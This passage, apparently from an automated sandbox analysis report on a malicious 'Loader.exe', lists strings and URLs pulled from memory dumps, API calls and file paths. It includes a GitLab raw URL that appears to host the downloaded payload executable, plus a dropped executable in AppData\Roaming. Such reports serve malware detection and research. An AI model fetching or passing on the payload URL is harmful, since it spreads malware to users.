"00000000-00007308.00000001.288339.F2210000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00007308.00000001.288339.F229A000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>25221.4washington1(1).t.cosoft" - Source: "00000000-00007308.00000001.288339.F229A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007308.00000001.288339.F229A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00007308.00000001.288339.F229A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/" - Source: "00000000-00007308.00000001.288339.F24D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0washington1redmond1microsoft" - Source: "00000000-00007308.00000001.288339.F25D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00007308.00000001.288339.F25D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microowashington1redmond1microsoft" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "http://www.microsoft.com020230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00007308.00000001.288339.F262C000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exec:\users\tojlj8z\appdata\roaming\806964ff31e2acc80.exepastebin.com" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exehylz7s$c=a_4\7/pu" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exehylz7" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exehylz7b/,ci\c" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exenmtad]c?[co8n/@okb]50c[bz.>e" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exeh1)eboluqs" - Source: "00000000-00007632.00000001.289000.00000000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0f" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lk;j0verisign," - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007632.00000001.289000.CC220000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exehbase-uri" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.google.com/recaptcha/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.recaptcha.net/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.googletagmanager.com/ns.html" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://*.zuora.com/apps/publichostedpagelite.do" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com/admin/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com/assets/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com/-/speedscope/index.html" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com/-/sandbox/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://embed.figma.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.figma.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.youtube.com;" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://sentry.gitlab.net" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://new-sentry.gitlab.net" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://customers.gitlab.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://snowplow.trx.gitlab.net" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://sourcegraph.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://collector.prd-278964.gl-product-analytics.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://analytics.gitlab.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab." - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://gitlab.com/bland3h/d3d9/-/raw/main/73r99xw1p0n7.exekevuukrq]m" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_environment=gprd;" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.gstatic.com/recaptcha/" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://apis.google.com" - Source: "00000000-00007632.00000002.290322.00280000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0f" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lk;j0verisign," - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00007632.00000002.290322.CC220000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008248.00000001.292762.4E207000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00008248.00000001.292762.4E207000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l@-n" - Source: "00000000-00008248.00000001.292762.4E207000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm8prtg*n" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lruuc?1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ektlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00008248.00000001.292762.68552000.00000004.mdmp") Found URL "http://w" - Source: "00000000-00008248.00000001.292762.6860F000.00000004.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00008248.00000001.292762.68740000.00000004.mdmp") Found URL "http://www.microsoft.com/th" - Source: "00000000-00008248.00000001.292762.68740000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008248.00000001.292762.68740000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008248.00000001.292762.68740000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00008248.00000001.292762.68740000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008248.00000001.292762.68890000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00008248.00000001.292762.688D5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008248.00000001.292762.688D5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008248.00000001.292762.688D5000.00000004.mdmp") Found URL "http://www.microsoft.com0-" - Source: "00000000-00008248.00000001.292762.688D5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00008248.00000001.292762.68900000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00008248.00000001.292762.68900000.00000004.mdmp")51:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter 3b9003e4f27d92e40668f0efad11e022 (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter 86af2f4f2745738837c95f24472c32ca (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter ce0fd4f5b50baa17e7b80e4ee874ad11 (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007308) "powershell.exe" called "FindNextFileW" with parameter 990501e6199819806f01c8ecac88baac (UID: 00000000-00007308) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00007308)52:T877,Found string "aesKey" (Indicator: "aes"; File: "Loader.exe") Found string "chacha8" (Indicator: "chacha"; File: "Loader.exe") Found string "*aes.CTR" (Indicator: "aes"; File: "Loader.exe") Found string "*aes.Block" (Indicator: "aes"; File: "Loader.exe") Found string "*aes.block" (Indicator: "aes"; File: "Loader.exe") Found string "crypto/aes" (Indicator: "aes"; File: "Loader.exe") Found string "*ecdsa.curveID" (Indicator: "ecdsa"; File: "Loader.exe") Found string "*ecdsa.PublicKey" (Indicator: "ecdsa"; File: "Loader.exe") Found string "*ecdsa.Signature" (Indicator: "ecdsa"; File: "Loader.exe") Found string "*aes.blockExpanded" (Indicator: "aes"; File: "Loader.exe") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "Loader.exe") Found string "*mlkem.encryptionKey" (Indicator: ".encrypt"; File: "Loader.exe") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "Loader.exe") Found string "*tls.encryptedExtensionsMsg" (Indicator: ".encrypt"; File: "Loader.exe") Found string "*tls.EncryptedClientHelloKey" (Indicator: ".encrypt"; File: "Loader.exe") Found string "*ecdsa.personalizationString" (Indicator: "ecdsa"; File: "Loader.exe") Found string "crypto/internal/fips140/aes/gcm" (Indicator: "aes"; File: "Loader.exe") Found string ""*chacha20poly1305.chacha20poly1305" (Indicator: "chacha"; File: "Loader.exe"), Found string "(*ecdsa.blockAlignedPersonalizationString" (Indicator: "ecdsa"; File: "Loader.exe") Found string "+vendor/golang.org/x/crypto/chacha20poly1305" (Indicator: "chacha"; File: "Loader.exe") Found string "7*ecdsa.Curve[*crypto/internal/fips140/nistec.P521Point]" (Indicator: "ecdsa"; File: "Loader.exe") Found string "?*func() *ecdsa.Curve[*crypto/internal/fips140/nistec.P224Point]" (Indicator: "ecdsa"; File: "Loader.exe") Found string "?*func() *ecdsa.Curve[*crypto/internal/fips140/nistec.P256Point]" (Indicator: "ecdsa"; File: "Loader.exe") Found string "?*func() *ecdsa.Curve[*crypto/internal/fips140/nistec.P384Point]" (Indicator: "ecdsa"; File: "Loader.exe") Found string "?*func() *ecdsa.Curve[*crypto/internal/fips140/nistec.P521Point]" (Indicator: "ecdsa"; File: "Loader.exe")53:T6e0,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "Loader.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "Loader.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "Loader.exe") file/memory contains long string with (Indicator: "Module32First"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "Loader.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "Loader.exe") Found reference to API "syscall.GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "Loader.exe") Found reference to API "syscall.GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "Loader.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API "39601434982,5584,3121,,CreateToolhelp32Snapshot,kernel32.dll,"01:16:11.593",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp")54:T76e,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "Loader.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "Loader.exe") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "Loader.exe") Found reference to API "internal/syscall/windows.GetSystemDirectory" (Indicator: "GetSystemDirectory"; File: "Loader.exe") Found reference to API "syscall.GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "Loader.exe") Found reference to API "syscall.GetFileAttributesEx" (Indicator: "GetFileAttributes"; File: "Loader.exe") Found reference to API "syscall.GetFileAttributes" (Indicator: "GetFileAttributes"; File: "Loader.exe") Found reference to API "syscall.GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "Loader.exe") Found reference to API "internal/syscall/windows.GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "Loader.exe") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "Loader.exe") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "Loader.exe") Found reference to API "os.newFileStatFromGetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "Loader.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp")55:T5d0,Found string "secret" (Indicator: "secret"; File: "Loader.exe") Found string "password" (Indicator: "password"; File: "Loader.exe") file/memory contains long string with (Indicator: "secret"; File: "Loader.exe") file/memory contains long string with (Indicator: "password"; File: "Loader.exe") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A51D0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00004092.00000001.292655.A51F0000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A51F0000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00004092.00000001.292655.A5220000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00004092.00000001.292655.A5220000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A5280000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A52C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A52C0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00004092.00000001.292655.A52C0000.00000004.mdmp")56:T1217,Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00007632-00000BC0-3482707531") Found string "\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Indicator: "\Device\"; Source: "00000000-00007632-00000BC0-3485240208") Found string "\Device\HarddiskVolume3\Users\%OSUSER%\AppData\Roaming\806964ff31e2acc80.exe" (Indicator: "\Device\"; Source: "00000000-00007632-00000BC0-3538144893") Found string "\Device\HarddiskVolume3\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (Indicator: "\Device\"; Source: "00000000-00008272-00000BC0-3579890482") Found string "\Device\HarddiskVolume3\Program Files\Google\Chrome\Application\chrome.exe" (Indicator: "\Device\"; Source: "00000000-00008272-00000BC0-3580216178") Found string "\Device\HarddiskVolume3\Program Files\Mozilla Firefox\firefox.exe" (Indicator: "\Device\"; Source: "00000000-00008272-00000BC0-3580313962") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004092.00000000.291813.61280000.00000004.mdmp, 00000000-00004092.00000000.291813.61550000.00000004.mdmp, 00000000-00004092.00000000.291813.62E50000.00000004.mdmp, 00000000-00004092.00000001.292655.61280000.00000004.mdmp, 00000000-00004092.00000001.292655.612A8000.00000004.mdmp, 00000000-00004092.00000001.292655.61550000.00000004.mdmp, 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp, 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp, 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004092.00000000.291813.61280000.00000004.mdmp, 00000000-00004092.00000000.291813.61550000.00000004.mdmp, 00000000-00004092.00000000.291813.62E50000.00000004.mdmp, 00000000-00004092.00000001.292655.61280000.00000004.mdmp, 00000000-00004092.00000001.292655.612A8000.00000004.mdmp, 00000000-00004092.00000001.292655.61550000.00000004.mdmp, 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp, 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp, 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004092.00000000.291813.61280000.00000004.mdmp, 00000000-00004092.00000001.292655.61280000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005928.00000000.292885.E2760000.00000004.mdmp, 00000000-00005928.00000000.292885.E2A90000.00000004.mdmp, 00000000-00005928.00000000.292885.E4390000.00000004.mdmp, 00000000-00005928.00000001.294805.E2760000.00000004.mdmp, 00000000-00005928.00000001.294805.E2A90000.00000004.mdmp, 00000000-00005928.00000001.294805.E4390000.00000004.mdmp, 00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp, 00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp, 00000000-00005928.00000002.296725.E2760000.00000004.mdmp, 00000000-00005928.00000002.296725.E2A90000.00000004.mdmp, 00000000-00005928.00000002.296725.E4390000.00000004.mdmp, 00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp, 00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005928.00000000.292885.E2760000.00000004.mdmp, 00000000-00005928.00000000.292885.E2A90000.00000004.mdmp, 00000000-00005928.00000000.292885.E4390000.00000004.mdmp, 00000000-00005928.00000001.294805.E2760000.00000004.mdmp, 00000000-00005928.00000001.294805.E2A90000.00000004.mdmp, 00000000-00005928.00000001.294805.E4390000.00000004.mdmp, 00000000-00005928.00000001.294805.FCDD0000.00000004.mdmp, 00000000-00005928.00000001.294805.FD0D0000.00000004.mdmp, 00000000-00005928.00000002.296725.E2760000.00000004.mdmp, 00000000-00005928.00000002.296725.E2A90000.00000004.mdmp, 00000000-00005928.00000002.296725.E4390000.00000004.mdmp, 00000000-00005928.00000002.296725.FCDF0000.00000004.mdmp, 00000000-00005928.00000002.296725.FD0D0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00005928.00000000.292885.E2760000.00000004.mdmp, 00000000-00005928.00000001.294805.E2760000.00000004.mdmp, 00000000-00005928.00000002.296725.E2760000.00000004.mdmp")57:T450,file/memory contains long string with (Indicator: "IsValidSid"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "Loader.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "Loader.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "Loader.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "Loader.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetSidSubAuthority"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "Loader.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetSidSubAuthorityCount"; File: "Loader.exe") file/memory contains long string with (Indicator: "ImpersonateLoggedOnUser"; File: "Loader.exe") file/memory contains long string with (Indicator: "GetSidIdentifierAuthority"; File: "Loader.exe")58:T46d,"Loader.exe" (Access type: "CREATE"; Path: 